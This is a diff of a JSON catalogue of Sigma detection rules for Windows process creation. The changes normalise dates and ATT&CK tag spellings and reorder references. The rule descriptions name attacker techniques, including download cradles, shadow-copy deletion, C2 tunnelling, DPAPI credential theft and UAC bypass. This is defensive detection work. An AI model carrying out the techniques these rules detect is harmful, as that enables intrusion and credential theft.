"https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/Neo23x0/Raccine#the-process", "https://redcanary.com/blog/intelligence-insights-october-2021/", - "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", - "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", "https://blog.talosintelligence.com/2017/05/wannacry.html", - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/Neo23x0/Raccine#the-process", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_deletion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.impact", "attack.t1070", "attack.t1490" @@ -40689,7 +40696,7 @@ "description": "Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/21", + "creation_date": "2023-04-21", "falsepositive": [ "Unknown" ], @@ -40702,7 +40709,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invoke_webrequest_direct_ip.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -40722,7 +40729,7 @@ "description": "Detects renamed Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/28", + "creation_date": "2023-09-28", "falsepositive": [ "Unknown" ], @@ -40731,13 +40738,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://badoption.eu/blog/2023/01/31/code_c2.html", "https://code.visualstudio.com/docs/remote/tunnels", + "https://badoption.eu/blog/2023/01/31/code_c2.html", "https://ipfyx.fr/post/visual-studio-code-tunnel/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_renamed_execution.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -40757,7 +40764,7 @@ "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -40770,7 +40777,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_stdin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -40799,7 +40806,7 @@ "description": "Detects execution of \"certutil\" with the \"addstore\" flag in order to install a new certificate on the system.\nAdversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\n", "meta": { "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "creation_date": "2023/03/05", + "creation_date": "2023-03-05", "falsepositive": [ "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" ], @@ -40812,7 +40819,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.004" ] }, @@ -40832,7 +40839,7 @@ "description": "Detects binaries that use the same name as legitimate sysinternals tools to evade detection", "meta": { "author": "frack113", - "creation_date": "2021/12/20", + "creation_date": "2021-12-20", "falsepositive": [ "Unknown" ], @@ -40846,7 +40853,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1202" ] @@ -40874,7 +40881,7 @@ "description": "Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines", "meta": { "author": "frack113", - "creation_date": "2022/01/22", + "creation_date": "2022-01-22", "falsepositive": [ "Unknown" ], @@ -40889,7 +40896,7 @@ ], "tags": [ "attack.execution", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1072" ] }, @@ -40909,7 +40916,7 @@ "description": "Detects when verclsid.exe is used to run COM object via GUID", "meta": { "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -40924,7 +40931,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -40944,7 +40951,7 @@ "description": "Detects changing the PowerShell script execution policy to a potentially insecure level using the \"-ExecutionPolicy\" flag.", "meta": { "author": "frack113", - "creation_date": "2021/11/01", + "creation_date": "2021-11-01", "falsepositive": [ "Administrator scripts" ], @@ -40953,10 +40960,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4", - "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4", "https://adsecurity.org/?p=2604", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_policies_to_unsecure_level.yml" ], "tags": [ @@ -40980,7 +40987,7 @@ "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/05", + "creation_date": "2022-08-05", "falsepositive": [ "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." ], @@ -40989,13 +40996,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/jonasLyk/status/1555914501802921984", "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)", + "https://twitter.com/jonasLyk/status/1555914501802921984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_cli.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -41015,7 +41022,7 @@ "description": "Detects the creation of scheduled tasks by user accounts via the \"schtasks\" utility.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Administrative activity", "Software installation" @@ -41031,7 +41038,7 @@ "tags": [ "attack.execution", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1053.005", "attack.s0111", "car.2013-08-001", @@ -41054,7 +41061,7 @@ "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -41067,8 +41074,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_winsat.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -41088,7 +41095,7 @@ "description": "Detects the creation or update of a scheduled task to run with \"NT AUTHORITY\\SYSTEM\" privileges", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "Unknown" ], @@ -41097,8 +41104,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", + "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml" ], "tags": [ @@ -41123,7 +41130,7 @@ "description": "Detects execution of \"curl.exe\" with the \"-c\" flag in order to save cookie data.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/27", + "creation_date": "2023-07-27", "falsepositive": [ "Unknown" ], @@ -41146,7 +41153,7 @@ "description": "Execution of ssh.exe to perform data exfiltration and tunneling through RDP", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/12", + "creation_date": "2022-10-12", "falsepositive": [ "Unknown" ], @@ -41159,7 +41166,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssh_rdp_tunneling.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1572" ] }, @@ -41179,7 +41186,7 @@ "description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/28", + "creation_date": "2021-12-28", "falsepositive": [ "Unknown" ], @@ -41188,8 +41195,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", "https://twitter.com/0gtweet/status/1474899714290208777?s=12", + "https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dtrace_kernel_dump.yml" ], "tags": [ @@ -41213,7 +41220,7 @@ "description": "Detects the execution of certutil with either the \"decode\" or \"decodehex\" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community", - "creation_date": "2023/02/15", + "creation_date": "2023-02-15", "falsepositive": [ "Unknown" ], @@ -41223,15 +41230,15 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", - "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", - "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", "https://twitter.com/JohnLaTwC/status/835149808817991680", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://learn.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil", + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_decode.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -41251,7 +41258,7 @@ "description": "Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information", "meta": { "author": "frack113", - "creation_date": "2022/05/01", + "creation_date": "2022-05-01", "falsepositive": [ "Unknown" ], @@ -41261,8 +41268,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", - "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", + "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpresult_execution.yml" ], @@ -41287,7 +41294,7 @@ "description": "Detects potential psexec command that initiate execution on a remote systems via common commandline flags used by the utility", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/28", + "creation_date": "2023-02-28", "falsepositive": [ "Unknown" ], @@ -41296,13 +41303,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://www.poweradmin.com/paexec/", "https://learn.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_remote_execution.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1587.001" ] }, @@ -41322,7 +41329,7 @@ "description": "Uses the .NET InstallUtil.exe application in order to execute image without log", "meta": { "author": "frack113", - "creation_date": "2022/01/23", + "creation_date": "2022-01-23", "falsepositive": [ "Unknown" ], @@ -41336,7 +41343,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "d042284c-a296-4988-9be5-f424fadcc28c", @@ -41346,7 +41353,7 @@ "description": "Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the \"HTTP\" and \"HTTPS\" protocols to point to the \"My Computer\" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/05", + "creation_date": "2023-09-05", "falsepositive": [ "Unknown" ], @@ -41355,15 +41362,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content", + "https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", "https://twitter.com/M_haggis/status/1699056847154725107", + "https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content", "https://twitter.com/JAMESWT_MHT/status/1699042827261391247", - "https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_ie_security_zone_protocol_defaults_downgrade.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "10344bb3-7f65-46c2-b915-2d00d47be5b0", @@ -41373,7 +41380,7 @@ "description": "Detects suspicious mshta process execution patterns", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/07/17", + "creation_date": "2021-07-17", "falsepositive": [ "Unknown" ], @@ -41382,9 +41389,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.echotrail.io/insights/search/mshta.exe", "https://en.wikipedia.org/wiki/HTML_Application", "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", - "https://www.echotrail.io/insights/search/mshta.exe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml" ], "tags": [ @@ -41408,7 +41415,7 @@ "description": "Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.", "meta": { "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unlikely" ], @@ -41417,13 +41424,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/fireeye/DueDLLigence", "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", + "https://github.com/fireeye/DueDLLigence", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -41443,7 +41450,7 @@ "description": "Detects the execution of the SharpDPAPI tool based on CommandLine flags and PE metadata.\nSharpDPAPI is a C# port of some DPAPI functionality from the Mimikatz project.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/06/26", + "creation_date": "2024-06-26", "falsepositive": [ "Unknown" ], @@ -41456,8 +41463,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_dpapi_execution.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1134.001", "attack.t1134.003" ] @@ -41485,7 +41492,7 @@ "description": "Detects uncommon or suspicious child processes spawning from a VsCode \"code.exe\" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/26", + "creation_date": "2023-01-26", "falsepositive": [ "In development environment where VsCode is used heavily. False positives may occur when developers use task to compile or execute different types of code. Remove or add processes accordingly" ], @@ -41494,13 +41501,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nas_bench/status/1618021415852335105", "https://twitter.com/nas_bench/status/1618021838407495681", + "https://twitter.com/nas_bench/status/1618021415852335105", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_child_processes_anomalies.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1202" ] @@ -41528,7 +41535,7 @@ "description": "Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/07/23", + "creation_date": "2022-07-23", "falsepositive": [ "Unlikely" ], @@ -41537,14 +41544,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", - "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files", "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing", + "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", + "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_selectmyparent.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1134.004" ] }, @@ -41564,7 +41571,7 @@ "description": "Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.", "meta": { "author": "frack113", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ "Legitimate administrative script" ], @@ -41577,7 +41584,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string_archive.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1132.001" ] }, @@ -41597,7 +41604,7 @@ "description": "Detects changes to environment variables related to ETW logging via the CommandLine.\nThis could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Unlikely" ], @@ -41606,20 +41613,20 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", - "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_modification_cmdline.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -41639,7 +41646,7 @@ "description": "Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/04", + "creation_date": "2023-05-04", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_mssql_veaam_susp_child_processes.yml", "level": "critical", @@ -41650,9 +41657,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_veaam_susp_child_processes.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "d55b793d-f847-4eea-b59a-5ab09908ac90", @@ -41662,7 +41669,7 @@ "description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism", "meta": { "author": "Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule)", - "creation_date": "2019/02/22", + "creation_date": "2019-02-22", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], @@ -41671,20 +41678,20 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", + "https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/xml/xslt/xslt-stylesheet-scripting-using-msxsl-script", "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", "http://blog.sevagas.com/?Hacking-around-HTA-files", - "https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/xml/xslt/xslt-stylesheet-scripting-using-msxsl-script", "https://twitter.com/mattifestation/status/1326228491302563846", - "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140", "attack.t1218.005", "attack.execution", "attack.t1059.007", - "cve.2020.1599" + "cve.2020-1599" ] }, "related": [ @@ -41717,7 +41724,7 @@ "description": "Detects execution of different log query utilities and commands to search and dump the content of specific event logs or look for specific event IDs.\nThis technique is used by threat actors in order to extract sensitive information from events logs such as usernames, IP addresses, hostnames, etc.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Legitimate usage of the utility by administrators to query the event log" ], @@ -41726,19 +41733,19 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", - "https://labs.withsecure.com/content/dam/labs/docs/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf", - "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a", - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-7.3", - "https://www.group-ib.com/blog/apt41-world-tour-2021/", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "http://www.solomonson.com/posts/2010-07-09-reading-eventviewer-command-line/", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-7.3", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a", + "https://www.group-ib.com/blog/apt41-world-tour-2021/", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1", + "https://labs.withsecure.com/content/dam/labs/docs/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf", + "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_content_recon.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.discovery", "attack.t1552" ] @@ -41759,7 +41766,7 @@ "description": "Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell \"Get-Variable\" technique as seen being used in Colibri Loader", "meta": { "author": "pH-T (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2022/04/08", + "creation_date": "2022-04-08", "falsepositive": [ "Unknown" ], @@ -41801,7 +41808,7 @@ "description": "Detects the addition of a new rule to the Windows firewall via netsh", "meta": { "author": "Markus Neis, Sander Wiebing", - "creation_date": "2019/01/29", + "creation_date": "2019-01-29", "falsepositive": [ "Legitimate administration activity", "Software installations" @@ -41811,11 +41818,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", + "https://web.archive.org/web/20190508165435/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_rule.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004", "attack.s0246" ] @@ -41836,7 +41843,7 @@ "description": "Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio)", "meta": { "author": "Jason Lynch", - "creation_date": "2019/04/02", + "creation_date": "2019-04-02", "falsepositive": [ "Unknown" ], @@ -41872,7 +41879,7 @@ "description": "Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/05", + "creation_date": "2022-09-05", "falsepositive": [ "Unknown" ], @@ -41885,7 +41892,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "1b3b01c7-84e9-4072-86e5-fc285a41ff23", @@ -41895,7 +41902,7 @@ "description": "Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/03", + "creation_date": "2023-01-03", "falsepositive": [ "Unknown" ], @@ -41928,7 +41935,7 @@ "description": "Detects usage of the \"sc.exe\" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.", "meta": { "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2021/12/20", + "creation_date": "2021-12-20", "falsepositive": [ "Unknown" ], @@ -41937,16 +41944,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", + 